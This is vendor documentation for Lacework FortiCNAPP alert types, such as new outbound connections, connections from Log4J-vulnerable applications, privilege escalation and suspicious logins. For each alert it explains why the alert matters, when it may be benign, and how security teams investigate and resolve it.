Why this might be just fine

New tools are regularly introduced in cloud environments, which can result in accessing new domains that are necessary for their operation, including those owned by the software vendor. Therefore, the presence of a new domain alone does not automatically indicate a security breach. Nonetheless, it is important for the security team to monitor the behavior of all newly introduced software.

Certain use cases inherently require access to new domain names. For instance, reputation systems that browse user-supplied URLs or marketing software that gathers intelligence from across the web. Lacework FortiCNAPP identifies such software or hosts that interact with a significant number of external domains within your deployment. It aggregates these connections to avoid triggering alerts for individual domains. Further customization options for alert criteria can be found at Suppress Crawler-Related Alerts.

Investigation

Each alert of this nature requires an initial investigation. Consider the following steps:

1. Gather information about the domain:
   - Is it a domain owned by your company or a trusted third-party?
   - Check the Whois registration and historical records to identify the domain's owner.
   - Look for any known threat information associated with the domain.
2. Identify the originating software and assess its normal behavior by reviewing its historical connections. To access the application dashboard, click the application name in the *Alert Description*. Examine the external connection details and *Polygraph* sections to determine if the software typically establishes external connections.
   - Determine the user responsible for the connection by reviewing the *Who* section.
   - Determine the volume of exchanged data (both directions), focusing on significant amounts exceeding 10KB.
3. Investigate if the egress connection is related to the software supply chain. Check for recent software updates, particularly if a new version of a library introduced an external dependency. This check can be performed in tools such as Jira, ServiceNow, GitHub, or GitLab, depending on your organization.
4. If any findings appear suspicious, escalate the investigation. Look for patterns in logs related to the domain and involve your DevOps peers to gather their insights and opinions.

Resolution

If the connection appears to be the result of malicious use of an existing administrative tool, malware, or an exploited application, review logs from both hosts. If the machine is compromised, take the necessary steps to restore the affected systems to a known, clean state.

New External Host

This alert occurs when Lacework FortiCNAPP detects a new external host has attempted to initiate a connection with a network or system.

In cybersecurity, this alert is commonly associated with intrusion detection and prevention systems, firewalls, and other security controls that monitor network traffic and block or allow access based on predefined rules and policies.

Why this alert is important

The alert can indicate a potential security threat or vulnerability if an external host not authorized to access the network or system could attempt to gain unauthorized access, steal data, or launch a cyber attack.

Investigation

Investigating this alert involves:

- Analyzing the network traffic to determine the nature and purpose of the connection.
- Identifying the source of the connection.
- Assessing whether the connection is legitimate or suspicious.

Here are some recommended steps:

1. Collect information about the incident, such as the timestamp, IP address of the external host, destination IP address, port number, protocol, and any other relevant details. Consult with other stakeholders, such as network administrators or security analysts, to gather additional information.
2. Review the network logs to identify any other related incidents or patterns of activity. Look for anomalies or suspicious activity, such as connections from known malicious IPs, unusual ports or protocols, or unexpected traffic patterns.
3. Use a port scanner to scan the external host's IP address and identify any open ports or services that may be related to the connection. This can help identify the purpose of the connection and whether it is legitimate or suspicious.
4. Analyze packet captures of the network traffic to identify any unusual or suspicious traffic, such as data exfiltration, command-and-control traffic, or exploit attempts.
5. Use IP geolocation tools or domain name system (DNS) lookups to determine the source of the connection and identify any known threats or vulnerabilities associated with the source.
6. Based on the information gathered, assess the risk associated with the connection. Consider factors such as the sensitivity of the data being accessed, the potential impact of a compromise, and the likelihood of an attack.

Resolution

Follow these steps to resolve the alert:

1. Use a firewall or network security device to block incoming connections from known malicious IP addresses. You can identify these IP addresses by using threat intelligence feeds, reputation services, or other sources of information.
2. Implement access controls to restrict access to sensitive data and systems. Use strong passwords, two-factor authentication, and other authentication mechanisms to ensure only authorized users can access critical resources.
3. Segment your network into smaller, more secure zones to limit the spread of malware or other threats. Use firewalls or network security devices to enforce traffic filtering and access controls between different zones.
4. Implement IDS/IPS systems to detect and block malicious network traffic. These systems can analyze network traffic in real-time and alert security teams to suspicious activity.
5. Conduct regular vulnerability assessments to identify and remediate security vulnerabilities in your systems and applications. This can help prevent attacks that exploit known vulnerabilities.
6. Implement endpoint security solutions, such as antivirus and anti-malware software, to detect and prevent threats on individual devices.
7. Provide regular security awareness training to employees to educate them on identifying and reporting suspicious activity.
8. Monitor network activity and logs to detect and respond to potential security incidents. Use security information and event management (SIEM) solutions to collect and analyze different device and system logs.

New External Host Connection

This alert occurs when Lacework FortiCNAPP detects an application that has not previously connected to the known external host makes a connection. The external host is part of the existing baseline, meaning that either another process or machine is making connections to it.

Why this alert is important

North-south data traffic with a data center is often predictable, and 'listening' applications often make limited or no external connections. An outbound connection to a known, external host from an application that has not previously connected may indicate malicious activity.

Investigation

Identify the data center application. Should it be making outbound connections? Research the domain name. If it is not clear that the destination domain name is benign, look at all the machines and applications that are connecting to the same external host. Patterned communication may indicate some type of automation, which could be benign, C&C (Command-and-Control), or unknown leakage.

Resolution

Determine if the specific connection is expected and benign. If the connection appears to be the result of malicious use of an existing administrative tool, malware, or an exploited application, review logs from the source machine and application. If the machine is compromised, take the necessary steps to restore it to a known, clean state.

New Outbound Connection From Application

This alert occurs when Lacework FortiCNAPP detects a software in your cloud deployment that has made an outbound connection to an external domain that it has not contacted in the past 90 days. It is possible that other components of your deployment have interacted with this domain, but this particular software has not.

Lacework FortiCNAPP determines the destination domain name by conducting a reverse IP lookup, which involves correlating DNS queries and network connections observed within your cloud deployment. Domain names are aggregated based on their second top-level domain, except for AWS domains, which are aggregated using service name (for example, ec2.amazonaws.com).

Why this alert is important

Software operating within cloud deployments generally demonstrates consistent network behavior. Therefore, when there is new access to external domains, it is advisable to investigate the situation, particularly if the domain is unrelated to business operations.

Why this might be just fine

The occurrence of this connection may be anticipated if it originates from a recently updated piece of software, such as an upgrade to a new version or a change in name, with its primary functionality largely preserved. It is important to note that software can exist in the form of a container image (for example, sourced from docker.io) running on a cluster, or as a new software binary operating on a host. In the case of interpreters like Java and Python, the primary program files (for example, the main class or JAR file for Java) are considered software binaries.

Investigation

Each alert of this nature requires an initial investigation. Here are the key steps to follow:

1. Gather information about the domain in question:
   - Determine whether the domain is owned by your company or a trusted third-party.
   - Explore other sources such as Whois registration and historical records to gain additional insights.
   - Assess whether the domain is associated with any known malicious activity or if it is flagged as suspicious by any sources.

2. Determine the originating software and its normal egress connection behavior by reviewing historical data. Click the application name in the *Alert Description* to access the application dashboard. Consult the *External Out Connections* and *Polygraph* sections to assess the software's regularity in establishing external connections.
3. Determine the user responsible for the connection by checking the *Who* section.
4. Determine the number of bytes transmitted in both directions. Pay attention to figures exceeding 10KB, as they indicate a significant amount of data exchange took place.
5. Verify whether the egress connection is associated with the software supply chain. For instance, check if the software has been recently updated, potentially introducing a new version of a library that now relies on an external dependency.
   - Depending on your organization, it is advisable to examine platforms like Jira, ServiceNow, or your preferred SCM provider such as GitHub or GitLab for relevant information.
6. If there are any suspicious indications, escalate the investigation further. Look for patterns in logs that involve the specific IP address and involve your DevOps peers to gather their insights and opinions.

Resolution

If the connection appears to be the result of malicious use of an existing administrative tool, malware, or an exploited application, review logs from the source machine and application. If the machine is compromised, take the necessary steps to restore it to a known, clean state.

Outbound Connection From Vulnerable Application to a Domain

This alert occurs when Lacework FortiCNAPP detects a software application with the critical Java Log4J vulnerability has made an outbound connection to an external domain that it has not contacted in the last 90 days. Though the domain may have been contacted by other parts of your deployment, this vulnerable software has not made contact with it until now.

This vulnerability, which allows remote code execution, has its own alert type. The software can exist as a container image (such as one sourced from docker.io) running on a cluster or as a software binary operating on a host, where vulnerable Log4J Java class files have been detected.

Why this alert is important

Log4J class files have been detected in this software, and it is displaying the key indicator of the vulnerability being exploited. This vulnerability enables attackers to gain remote code execution, granting them complete control over the affected host or container.

The Log4J exploit involves sending a specifically crafted string to a vulnerable application, triggering an outbound call to an external domain or IP address. Therefore, this alert potentially indicates exploitation activity targeting this application.

Why this might be just fine

Though this activity could potentially indicate exploit activity, it's important to acknowledge that there are legitimate reasons for an application to connect to a new domain, such as changes in application or configuration.

Under certain circumstances, the risk of running Log4J-vulnerable software can be contained. For example, it can be isolated within a sandbox environment by utilizing tools like gVisor; or have strong network egress controls implemented by the DevOps team in collaboration with the security team. These security measures, which restrict DNS requests and network connections, can mitigate the risk.

However, it's crucial to prioritize patching or removing the Log4J-vulnerable software as a more reliable approach, as security controls may have gaps or be inadvertently disabled.

Investigation

This alert requires thorough and careful investigation, as new external connections serve as a strong indicator of Log4J (CVE-2021-44228) vulnerability exploitation.

When investigating this alert, consider the following questions:

1. What triggered the connection? Why did it occur?
2. Which process initiated the connection?
3. Is the process a known and legitimate one, or is it benign?
4. Is the connection a regular behavior of the mentioned process?
5. What is the origin of the domain involved in the connection?
6. Has this domain been associated with malicious behavior or flagged by our threat resources?
7. Are other machines within our network establishing connections to this domain?
8. Were there any notable events or activities on the machine or resource just before or after the connection? Create a timeline of events to gain a comprehensive understanding.

When examining the *Alert Details* in the Console, direct your attention to the following critical areas:

1. Determine the domain involved by reviewing the *Alert Description*.
2. Identify the origin of the connection, including the specific machine, user, and process involved.
3. Examine the number of bytes exchanged and the direction of the data transfer by reviewing the *Where* section.
4. To access information about the process, click the process or container name in the *Alert Description*. This will provide details about the process, including its runtime duration, prevalence on other machines, safety considerations, and any known threat information associated with it.
5. To assess the frequency of connections initiated by the process, refer to the *Alert Description*. For instance, you can examine if a process such as `/bin/foo` has initiated 24 connections to 12 distinct domains in the previous 14 days. This information will help you gauge the level of activity associated with the process.
6. Gather information about the domain, including details such as Whois registration, historical Whois records, reverse DNS information, and historical rDNS data. Determine if the domain is flagged as known malicious by any sources or if there are any indications of malicious activity associated with it.
7. Identify other machines on your network connected to the same domain by clicking the domain in the alert. This information helps to understand the scope of the connection activity.

Resolution

Follow these steps to resolve the alert:

1. Apply patches or updates to address the vulnerability. This may require downtime or disruption to the application, so you should plan accordingly.
2. Implement additional security controls or hardening measures to prevent future attacks, such as configuring firewalls or intrusion detection systems to block certain types of traffic.
3. Monitor the system for further suspicious activity, such as additional connections or attempts to exploit the vulnerability.
4. Conduct regular security assessments to identify vulnerabilities and ensure security controls work effectively.

New External Host Server Connection

This alert is triggered when Lacework FortiCNAPP identifies a host or software in your cloud deployment that has established a new outbound connection to an external domain it hasn't communicated with in the past 90 days. Though the domain may have been accessed by other parts of your deployment, this specific host or software has not interacted with it before.

Lacework FortiCNAPP identifies the destination domain name by conducting a reverse IP lookup, which correlates DNS queries and network connections observed within your cloud deployment. Domain names are grouped based on their second-level domain, except for AWS domains, which are categorized by service name (for example, ec2.amazonaws.com).

Why this alert is important

In cloud deployments, software typically demonstrates consistent network behaviors. Therefore, when there is new access to external domains, it may require investigation, particularly if the domain is unrelated to business operations.

Why this might be just fine

The connection may be anticipated if it originates from recently updated software, such as an upgraded or renamed version that retains its core functionality. It's important to note that the software can be a container image (for example, from docker.io) running on a cluster or a new software binary operating on a host. For interpreters like Java and Python, the primary program files, such as the main class or JAR file in Java, are considered software binaries.

Investigation

Each alert of this nature requires an initial investigation. Here are the key steps to follow:

1. Gather information about the domain:
   - Is it a domain owned by your company or a trusted third-party?
   - Check the Whois registration and historical records to identify the domain's owner.
   - Look for any known threat information associated with the domain.
2. Identify the originating software:
   - Determine the software responsible for the egress connection.
   - Review its historical behavior to establish if making egress connections is normal.
   - Click the application name in the *Alert Description* to access the application dashboard. Examine the external connection details and the *Polygraph* section to determine if the software regularly establishes external connections.
3. Identify the user responsible for the connection: look for information about the user in the *Who* section of the alert.
4. Determine the volume of data exchanged:
   - Assess the number of bytes exchanged in both directions.
   - Significant data exchange exceeding 10KB suggests a meaningful amount of data transfer.
5. Investigate if the egress connection is related to the software supply chain. Check for recent software updates, particularly if a new version of a library introduced an external dependency. This check can be performed in tools such as Jira, ServiceNow, GitHub, or GitLab, depending on your organization.
6. If any findings appear suspicious, escalate the investigation. Look for patterns in logs related to the domain and involve your DevOps peers to gather their insights and opinions.

Resolution

If the connection appears to be the result of malicious use of an existing administrative tool, malware, or an exploited application, review logs from the source machine and application. If the machine is compromised, take the necessary steps to restore it to a known, clean state.

Outbound Connection to a New External IP Address From Application

This alert occurs when Lacework FortiCNAPP detects an outbound (egress) connection from a software application in your cloud deployment to an external IP address that has not been previously contacted within the last 90 days. The determination of the IP address as external is based on host routing tables, excluding private IP ranges as defined in RFC 1918. Lacework FortiCNAPP conducts a reverse IP lookup by correlating DNS queries and network connections within your cloud deployment.

This alert indicates no corresponding DNS query from the software, suggesting that the connection was established directly to a raw IP address.

Why this alert is important

Software operating within cloud deployments generally demonstrates consistent network behavior. Therefore, when there is new access to external IP addresses, it is advisable to investigate the situation.

Egress connections are commonly utilized to establish control during exploits, such as Log4J vulnerabilities. In cloud environments, the use of raw IP addresses raises suspicion due to several factors. Cloud deployments typically avoid direct reliance on IP addresses due to their frequent and unpredictable changes caused by mechanisms like load balancers, proxies, virtual hosting frameworks, content distribution networks, and more.

Conversely, malicious actors often favor raw IP addresses for various reasons. Using raw IPs allows them to evade traceability and avoid the overhead associated with setting up a dedicated domain name. Attackers are also comfortable with the unreliable and ephemeral nature of raw IPs.

Why this might be just fine

Though connections to IP addresses can be legitimate in some cases, it is important to consider that such instances are relatively uncommon. Certain services may be hosted behind static IP addresses for reasons related to reliability or performance. However, these fixed-IP services are typically rare, and if they exist, they usually involve a static or slowly changing set of IP addresses that are frequently and consistently used.

In specific scenarios, Lacework FortiCNAPP may encounter difficulties correlating an IP address to a resolved domain name. This can occur when the DNS query takes place on a different machine, and the IP address is transmitted within a network message, or due to application-level caching in libraries used for connecting to cloud providers. Additionally, high CPU usage or memory pressure can sometimes cause the agent to drop data necessary for identifying the DNS query.

In such cases, it is possible for this alert to generate false positives. However, the alert is still triggered to prevent attackers from concealing their activities behind a high system load. It is crucial to carefully evaluate the circumstances and gather additional context to determine the validity of the alert.

Investigation

Each alert of this nature requires an initial investigation. Here are the key steps to follow:

1. Gather information about the IP address:
   - Perform reverse DNS lookups to gather information about the IP address, helping identify false positives. For example, if the service already communicates with example.com, a reverse DNS lookup might reveal that the IP address belongs to example.com.
   - Explore other sources such as Whois registration and historical records to gain additional insights.
   - Check for any available threat information to determine if the IP address is known to be malicious.
     - Click the IP address in the *Alert Description* to initiate a VirusTotal search. This can provide further analysis and context regarding the IP address.
2. Identify the originating software and assess if it is usual for it to establish egress connections by reviewing its historical behavior. Click the application name in the *Alert Description* to access the application dashboard. Examine the external connection details and Polygraph sections to determine if the software frequently makes external connections.
3. Determine the user responsible for the connection by checking the *Who* section.
4. Assess the volume of exchanged data by analyzing the number of bytes transferred in both directions. Data exceeding 10KB indicates a significant amount of exchanged information.
5. Verify whether the egress connection is associated with the software supply chain. For instance, check if the software has been recently updated, potentially introducing a new version of a library that now relies on an external dependency.

- Depending on your organization, it is advisable to examine platforms like Jira, ServiceNow, or your preferred SCM provider such as GitHub or GitLab for relevant information.

6. If there are any suspicious indications, escalate the investigation further. Look for patterns in logs that involve the specific IP address and involve your DevOps peers to gather their insights and opinions.

Resolution

If the connection appears to be the result of malicious use of an existing administrative tool, malware, or an exploited application, review logs from the host. If the machine is compromised, take the necessary steps to restore the affected systems to a known, clean state.

Outbound Connection to a New External IP Address From Host

This alert occurs when Lacework FortiCNAPP detects an outbound (egress) connection from your cloud deployment to an external IP address that has not been previously contacted within the last 90 days. The determination of the IP address as external is based on host routing tables, excluding private IP ranges as defined in RFC 1918. Lacework FortiCNAPP conducts a reverse IP lookup by correlating DNS queries and network connections within your cloud deployment.

This alert indicates no corresponding DNS query from the host, suggesting that the connection was established directly to a raw IP address.

Why this alert is important

Egress connections are commonly utilized to establish control during exploits, such as Log4J vulnerabilities. In cloud environments, the use of raw IP addresses raises suspicion due to several factors. Cloud deployments typically avoid direct reliance on IP addresses due to their frequent and unpredictable changes caused by mechanisms like load balancers, proxies, virtual hosting frameworks, content distribution networks, and more.

Conversely, malicious actors often favor raw IP addresses for various reasons. Using raw IPs allows them to evade traceability and avoid the overhead associated with setting up a dedicated domain name. Attackers are also comfortable with the unreliable and ephemeral nature of raw IPs.

Why this might be just fine

Though connections to IP addresses can be legitimate in some cases, it is important to consider that such instances are relatively uncommon. Certain services may be hosted behind static IP addresses for reasons related to reliability or performance. However, these fixed-IP services are typically rare, and if they exist, they usually involve a static or slowly changing set of IP addresses that are frequently and consistently used.

In specific scenarios, Lacework FortiCNAPP may encounter difficulties correlating an IP address to a resolved domain name. This can occur when the DNS query takes place on a different machine, and the IP address is transmitted within a network message, or due to application-level caching in libraries used for connecting to cloud providers. Additionally, high CPU usage or memory pressure can sometimes cause the agent to drop data necessary for identifying the DNS query.

In such cases, it is possible for this alert to generate false positives. However, the alert is still triggered to prevent attackers from concealing their activities behind a high system load. It is crucial to carefully evaluate the circumstances and gather additional context to determine the validity of the alert.

Investigation

Each alert of this nature requires an initial investigation. Here are the key steps to follow:

1. Gather information about the IP address:
   - Perform reverse DNS lookups to gather information about the IP address, helping identify false positives. For example, if the service already communicates with example.com, a reverse DNS lookup might reveal that the IP address belongs to example.com.
   - Explore other sources such as Whois registration and historical records to gain additional insights.
   - Check for any available threat information to determine if the IP address is known to be malicious.
     - Click the IP address in the *Alert Description* to initiate a VirusTotal search. This can provide further analysis and context regarding the IP address.
2. Identify the originating software and assess if it is usual for it to establish egress connections by reviewing its historical behavior. Click the application name in the *Alert Description* to access the application dashboard. Examine the external connection details and Polygraph sections to determine if the software frequently makes external connections.
3. Determine the user responsible for the connection by checking the *Who* section.
4. Assess the volume of exchanged data by analyzing the number of bytes transferred in both directions. Data exceeding 10KB indicates a significant amount of exchanged information.
5. Verify whether the egress connection is associated with the software supply chain. For instance, check if the software has been recently updated, potentially introducing a new version of a library that now relies on an external dependency.
   - Depending on your organization, it is advisable to examine platforms like Jira, ServiceNow, or your preferred SCM provider such as GitHub or GitLab for relevant information.
6. If there are any suspicious indications, escalate the investigation further. Look for patterns in logs that involve the specific IP address and involve your DevOps peers to gather their insights and opinions.

Resolution

If the connection appears to be the result of malicious use of an existing administrative tool, malware, or an exploited application, review logs from both hosts. If the machine is compromised, take the necessary steps to restore the affected systems to a known, clean state.

New External Server IP Address Connection

This alert occurs when Lacework FortiCNAPP detects a host or software in your cloud deployment that has made an outbound connection to an external IP address that it has not contacted in the past 90 days. The IP address is considered external based on the host's routing tables, excluding private IP ranges according to RFC 1918. Lacework FortiCNAPP performs a reverse IP lookup by correlating DNS queries and network connections in your cloud deployment. This alert indicates a direct connection to a raw IP address without a corresponding DNS query.

Why this alert is important

Raw IP addresses raise significant suspicions in cloud environments. Cloud deployments rarely utilize direct IP addresses due to frequent changes caused by mechanisms like load balancers, proxies, virtual hosting frameworks, content distribution networks, and more. Conversely, malicious actors often prefer raw IP addresses to evade traceability and the overhead associated with setting up a dedicated domain name. Attackers are unfazed by the unreliable and temporary nature of raw IPs.

Why this might be just fine

Though connections to IP addresses can be legitimate in some cases, it is important to consider that such instances are relatively uncommon. Certain services may be hosted behind static IP addresses for reasons related to reliability or performance. However, these fixed-IP services are typically rare, and if they exist, they usually involve a static or slowly changing set of IP addresses that are frequently and consistently used.

In specific scenarios, Lacework FortiCNAPP may encounter difficulties correlating an IP address to a resolved domain name. This can occur when the DNS query takes place on a different machine, and the IP address is transmitted within a network message, or due to application-level caching in libraries used for connecting to cloud providers. Additionally, high CPU usage or memory pressure can sometimes cause the agent to drop data necessary for identifying the DNS query.

In such cases, it is possible for this alert to generate false positives. However, the alert is still triggered to prevent attackers from concealing their activities behind a high system load. It is crucial to carefully evaluate the circumstances and gather additional context to determine the validity of the alert.

Investigation

To thoroughly investigate each alert, focus on the following key areas:

1. Use the *Investigation* tab for deeper analysis. The *Polygraphs*, *Process Details*, and *Container Image Information* sections also provide valuable insights into the specific machine, process, and container involved in the connection. This helps narrow down the source of the connection.
2. From the *Alert Details*, click the *Details* tab, then check if any data has been transferred by examining the *Where* section. Data transfers exceeding 10KB should prompt further investigation.
3. For IP addresses that require further scrutiny, click the IP address to access the network dashboard. Here, Lacework FortiCNAPP provides additional information on any observed activities related to that address within your

environment. Additionally, you can click the *View on VirusTotal* link at the top of the screen for a third-party analysis of the IP address.

Resolution

If the connection appears to be the result of malicious use of an existing administrative tool, malware, or an exploited application, review logs from both hosts. If the machine is compromised, take the necessary steps to restore the affected systems to a known, clean state.

Outbound Connection From Vulnerable Application to an IP Address

This alert occurs when Lacework FortiCNAPP detects a software application with the critical Java Log4J vulnerability has made an outbound connection to an external IP address that it has not contacted in the last 90 days. Though the IP address may have been contacted by other parts of your deployment, this vulnerable software has not made contact with it until now.

This vulnerability, which allows remote code execution, has its own alert type. The software can be a container image running on a cluster or a software binary on a host, with detected vulnerable Log4J Java class files.

Why this alert is important

Log4J class files have been detected in this software, and it is displaying the key indicator of the vulnerability being exploited. This vulnerability enables attackers to gain remote code execution, granting them complete control over the affected host or container.

The Log4J exploit involves sending a specifically crafted string to a vulnerable application, triggering an outbound call to an external domain or IP address. Therefore, this alert potentially indicates exploitation activity targeting this application.

Why this might be just fine

Though this activity could potentially indicate exploit activity, it's important to acknowledge that there are legitimate reasons for an application to connect to a new IP address, such as changes in application or configuration.

Under certain circumstances, the risk of running Log4J-vulnerable software can be contained. For example, it can be isolated within a sandbox environment by utilizing tools like gVisor; or have strong network egress controls implemented by the DevOps team in collaboration with the security team. These security measures, which restrict DNS requests and network connections, can mitigate the risk.

However, it's crucial to prioritize patching or removing the Log4J-vulnerable software as a more reliable approach, as security controls may have gaps or be inadvertently disabled.

Investigation

This alert requires thorough and careful investigation, as new external connections serve as a strong indicator of Log4J (CVE-2021-44228) vulnerability exploitation.

When investigating this alert, consider the following questions:

1. What triggered the connection? Why did it occur?
2. Which process initiated the connection?
3. Is the process a known and legitimate one, or is it benign?
4. Is the connection a regular behavior of the mentioned process?
5. What is the origin of the IP address involved in the connection?
6. Has this IP address been associated with malicious behavior or flagged by our threat resources?
7. Are other machines within our network establishing connections to this IP address?
8. Were there any notable events or activities on the machine or resource just before or after the connection? Create a timeline of events to gain a comprehensive understanding.

When examining the *Alert Details* in the Console, direct your attention to the following critical areas:

1. Determine the IP address involved by reviewing the *Alert Description*.
2. Identify the origin of the connection, including the specific machine, user, and process involved.
3. Examine the number of bytes exchanged and the direction of the data transfer by reviewing the *Where* section.
4. To access information about the process, click the process or container name in the *Alert Description*. This will provide details about the process, including its runtime duration, prevalence on other machines, safety considerations, and any known threat information associated with it.
5. To assess the frequency of connections initiated by the process, refer to the *Alert Description*. For instance, you can examine if a process such as `/bin/foo` has initiated 24 connections to 12 distinct IP addresses in the previous 14 days. This information will help you gauge the level of activity associated with the process.
6. Gather information about the IP address, including details such as Whois registration, historical Whois records, reverse DNS information, and historical rDNS data. Determine if the IP address is flagged as known malicious by any sources or if there are any indications of malicious activity associated with it.
7. Identify other machines on your network connected to the same IP address by clicking the IP address in the alert. This information helps to understand the scope of the connection activity.

Resolution

Follow these steps to resolve the alert:

1. Apply patches or updates to address the vulnerability. This may require downtime or disruption to the application, so you should plan accordingly.
2. Implement additional security controls or hardening measures to prevent future attacks, such as configuring firewalls or intrusion detection systems to block certain types of traffic.
3. Monitor the system for further suspicious activity, such as additional connections or attempts to exploit the vulnerability.
4. Conduct regular security assessments to identify vulnerabilities and ensure security controls work effectively.

New Internal Connection

This alert occurs when Lacework FortiCNAPP detects an application running on a single machine or multiple machines connects for the first time to another application.

Why this alert is important

As east-west traffic with a data center is often predictable, this alert may reflect malicious lateral movement.

Investigation

Investigate both applications. Is one or both of the applications a recent addition, which would explain the new communication path? Is one of the applications a common administrative tool? If yes, investigate who used the tool and if the use is as expected. For example, did the user move data to a server as would be expected during a troubleshooting session or was data moved from a server? If the application is not easily identified, check if the file is listed as known malware or listed in Host > Files (FIM) on the Console.

Resolution

Determine if an internal connection is expected and benign. If the connection appears to be the result of malicious use of an existing administrative tool, trace the activity of the user back to the login. If the new connection is the result of malware, restore the machine to a known good state or replace the container with a new, clean version.

New Internal Host Connection

This alert occurs when Lacework FortiCNAPP detects a known internal host makes a new connection to an unknown internal host, identified by its IP address. If an application cannot be associated with a connection, Lacework FortiCNAPP publishes a machine alert.

Why this alert is important

As east-west traffic with a data center is often predictable, this alert may reflect malicious lateral movement.

Investigation

Identify the unknown destination IP address. Is the destination IP address within the data center subnet or some other subnet, such as a management vlan? If the IP address can be associated with a user or administrator, understand if the data center host should be initiating the connection. Look for any data transfer, for example, is data being sent to the unknown IP address. If the unknown IP address is part of the data center subnet or another data center subnet, determine if the unknown IP address should be receiving connections from the known data center host.

Resolution

Determine if a specific connection is expected and benign. If the connection appears to be the result of malicious use of an existing administrative tool or malware, review logs from both hosts. If the destination machine is a data center host without an agent, decide if the host should be receiving connections from the known data center host and consider adding an agent to the unknown host to incorporate the host into the baseline.

New Privilege Escalation

This alert occurs when Lacework FortiCNAPP detects a user has escalated privilege to a higher privileged account.

Why this alert is important

Mostly benign, but in some cases may indicate malicious activity—either an insider threat or an attacker employing a privilege escalation vulnerability.

After the initial compromise, a malicious actor typically needs to escalate privileges to move laterally in the network, execute malware, achieve persistence, etc. Escalating privilege usually indicates human intervention.

Investigation

Identify the user and application to determine if the behavior is expected, for example, as part of a troubleshooting session. If the behavior is not expected, expand the time horizon and investigate pre and post-event user activity across the data center. Investigate further actions taken by the privileged account and look for indicators of persistence, such as new crontab entries, or the running of applications that require escalated privileges, such as interacting with sockets.

Resolution

Determine if the privilege escalation was routine and benign. If it appears to be malicious, disable the user and take the necessary steps to restore any impacted hosts to a known, clean state.

Related Information

https://attack.mitre.org/tactics/TA0004/

New User

This alert occurs when the host running the agent sees a new user. A new user name generates this alert.

Why this alert is important

Users are created and given access to the data center by an administrator. Depending on the level of access assigned, an unauthorized new user may present a potential risk to the host and network.

Investigation

Contact the administrator and confirm the new user account.

Resolution

If the new user is determined to be unauthorized, disable the account. Perform local forensics, look for signs of lateral movement, and an alternative method of persistence. Take the necessary steps to restore the host to a known, clean state as necessary.

New Vulnerable Child Launched

This alert occurs when Lacework FortiCNAPP detects a newly created process or child process that is vulnerable to attack. This alert is typically triggered when a process or application is launched on a system and is identified as having known vulnerabilities that an attacker could exploit.

Why this alert is important

This alert indicates that your system is at risk of being compromised. By identifying and addressing vulnerable processes and applications, you can reduce the risk of a successful attack and improve the overall security of your system.

Investigation

Follow these steps to investigate the alert:

1. Check your system logs and security event logs to identify the process or application that triggered the incident. Look for any unusual activity or behavior that indicates a potential security issue.
2. Use vulnerability scanning tools or search vulnerability databases to identify any known vulnerabilities associated with the process.
3. Evaluate the potential impact of the vulnerability and the level of risk it poses to your system. Determine whether the vulnerability can be exploited remotely or if it requires local access to the system.

Resolution

Follow these steps to resolve the alert:

1. Apply any software patches or updates that address the vulnerabilities associated with the process or application. Keep your software up-to-date to minimize the risk of future security incidents.
2. Review and update your security settings to prevent unauthorized access to the vulnerable process or application. This may involve configuring firewalls, access controls, and other security settings to restrict access and protect your system.
3. If the process or application poses a high risk and cannot be secured through software patches or updates, consider removing or disabling it altogether.
4. Conduct a system-wide security assessment to identify any additional vulnerabilities or areas for improvement. Address any identified issues to strengthen your overall security posture.

New Vulnerable Internal Connection

This alert occurs when Lacework FortiCNAPP detects a new connection has been established between two internal hosts or systems that may be vulnerable to security threats or attacks.

Why this alert is important

This alert indicates an attempt by an attacker to move laterally within your network, compromising other systems and data. Identifying and addressing vulnerable processes and applications within your network can help reduce the risk of a security incident and protect your sensitive information.

Investigation

Investigating this alert involves several steps, including:

1. Identify the source and destination hosts.
2. Identify the protocol and port number used for the connection. This information can help you determine the type of traffic involved in the connection and the vulnerability's potential impact.

3. Identify the specific process or application that initiated the connection and the one that received the connection. This can help you identify which systems may be vulnerable to specific types of attacks.
4. Check for known vulnerabilities. This can be done by reviewing vulnerability databases, such as the National Vulnerability Database (NVD) or vendor-specific advisories.
5. Analyze the network traffic involved in the connection, including any packet captures or logs, to determine if any suspicious or malicious activity occurred. This can help you identify if any data was transferred or malicious commands were executed.
6. Review the logs of the systems involved in the connection to determine if any suspicious activity occurred, such as changes to system files, processes, or configurations.
7. Conduct further investigations such as system scans, reviewing user activity logs, or interviewing personnel involved in the systems or applications.

Resolution

Resolving this alert depends on the incident's details and the potential security risks. You can leverage the following general steps to resolve the incident:

1. Implement appropriate security measures to reduce the risk of exploitation, such as patching vulnerabilities, implementing network segmentation, restricting access, and using security monitoring tools.
2. Monitor the network for any unusual activity associated with the connection, such as unusual traffic patterns, file transfers, or other suspicious activity.
3. Conduct regular security assessments to identify and address any vulnerabilities in the network and systems. This can help prevent future incidents and improve overall security posture.

Suspicious Logins

This alert occurs when Lacework FortiCNAPP detects a failed SSH or RDP login followed by a successful SSH or RDP login from the same source IP within one hour.

Why this alert is important

This alert indicates that an IP address associated with a failed login attempt has successfully accessed your infrastructure. Such an alert should be investigated immediately. An example of this occurring is when an adversary attempts a brute-force attack via SSH or RDP and then successfully logs in to a host in your organization via SSH or RDP on from the same source IP within an hour.

Investigation

Determine what service the IP address successfully logged in to. Identify the account that was used and determine if the activity is known to the associated user. Investigate threat tags and any open source information to determine what activity the IP address has been associated with in the past. Examine the number of connections and size of data transfer for the connections to determine if meaningful data has been transferred.

Resolution

If the IP address and login is confirmed to be malicious, isolate the host and search for signs of persistence. Reset credentials for the user account in question. Determine internal connection patterns and look for indicators of lateral movement. After performing local forensics, return the machine to its last known good state, which may require reimaging the machine.

User Launched New Binary

This alert occurs when Lacework FortiCNAPP detects a user launches an application that has not previously observed being launched by that specific user.

Why this alert is important

The list of data center applications is for the most part static. New applications are sometimes introduced as part of a service offering or internal tooling changes, but their introduction may indicate malicious activity.

Investigation

Identify the new application. Is its introduction expected? If not, research the application and its purpose. Perform local forensics, look for signs of lateral movement.

Resolution

Determine if the application and its use are expected and benign. If it appears to be possible malicious use of an existing administrative tool, review logs from both source and destination machines. Disable the user and take the necessary steps to restore either host to a known, clean state.

User Logged In From New IP

This alert occurs when Lacework FortiCNAPP detects a known user logged in from an IP address not associated with the user.

Why this alert is important

User logins to the data center are often predictable—from a corporate office, through a VPN or from a home office. Although home office IPs are often dynamically allocated, they usually do not change upon lease renewal. A user login from a new IP address may indicate compromised user credentials.

Investigation

If the anomalous login source IP address is not easily explained, contact the user and confirm the login.

Resolution

If the login is determined to be the result of compromised credentials, disable the account. Perform local forensics, look for signs of lateral movement, and an alternative method of persistence. Take the necessary steps to restore the host to a known, clean state as necessary.

